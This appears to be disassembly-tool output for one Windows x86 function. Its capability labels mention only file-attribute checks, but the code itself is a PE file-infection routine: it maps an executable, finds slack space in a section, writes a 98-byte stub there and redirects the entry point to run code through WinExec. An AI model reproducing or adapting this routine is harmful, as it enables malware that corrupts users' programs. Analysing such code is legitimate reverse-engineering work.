Function at 0x10001000
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes

Disassembly:
mov eax, dword [0x10008008]
sub esp, 0x10
test eax, eax
push ebx
push ebp
push esi
push edi
jne 0x1000101a
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov esi, dword [esp + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push esi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x8000000
push 3
push 0
push 3
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x10], ebx
jne 0x10001060
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push eax
push 0
push 0x8000004
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
test esi, esi
jne 0x10001093
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
push str.MapViewOfFile
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 2
push esi
mov dword [0x100075b4], eax
call eax
test eax, eax
mov dword [esp + 0x18], eax
jne 0x100010d8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov edx, dword [eax + 0x3c]
xor esi, esi
add edx, eax
xor ecx, ecx
mov si, word [edx + 6]
mov ebp, dword [edx + 0x28]
test esi, esi
jle 0x1000110d
lea edi, [edx + 0x104]
mov eax, dword [edi]
cmp ebp, eax
jb 0x10001105
mov ebx, dword [edi - 4]
add ebx, eax
cmp ebp, ebx
mov ebx, dword [esp + 0x10]
jbe 0x1000110d
inc ecx
add edi, 0x28
cmp ecx, esi
jl 0x100010f2
lea eax, [ecx + ecx*4]
mov edi, dword [edx + eax*8 + 0x108]
lea ecx, [edx + eax*8]
mov dword [esp + 0x14], ecx
mov eax, dword [ecx + 0x100]
cmp edi, eax
jb 0x1000112f
sub edi, eax
cmp edi, 0x62
jae 0x10001184
xor edi, edi
test esi, esi
jle 0x10001157
lea ebx, [edx + 0x100]
mov ecx, dword [ebx + 8]
mov eax, dword [ebx]
cmp ecx, eax
jbe 0x1000114b
sub ecx, eax
cmp ecx, 0x62
jae 0x10001153
inc edi
add ebx, 0x28
cmp edi, esi
jl 0x1000113b
mov ebx, dword [esp + 0x10]
cmp edi, esi
jne 0x10001165
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
lea ecx, [edi + edi*4]
mov eax, dword [eax + 0x11c]
mov esi, dword [edx + ecx*8 + 0x11c]
lea ecx, [edx + ecx*8]
or esi, eax
mov dword [ecx + 0x11c], esi
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
mov dword [0x10008065], eax
mov eax, dword [edx + 0x34]
add eax, ebp
mov dword [0x1000806c], eax
mov esi, dword [ecx + 0x100]
mov edi, dword [ecx + 0x10c]
mov eax, dword [esp + 0x1c]
add edi, esi
add edi, eax
mov eax, dword [ecx + 0x104]
add eax, esi
mov esi, 0x10008010
mov dword [edx + 0x28], eax
mov ebp, dword [ecx + 0x100]
add ebp, 0x62
mov dword [ecx + 0x100], ebp
mov ecx, 0x18
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10
ret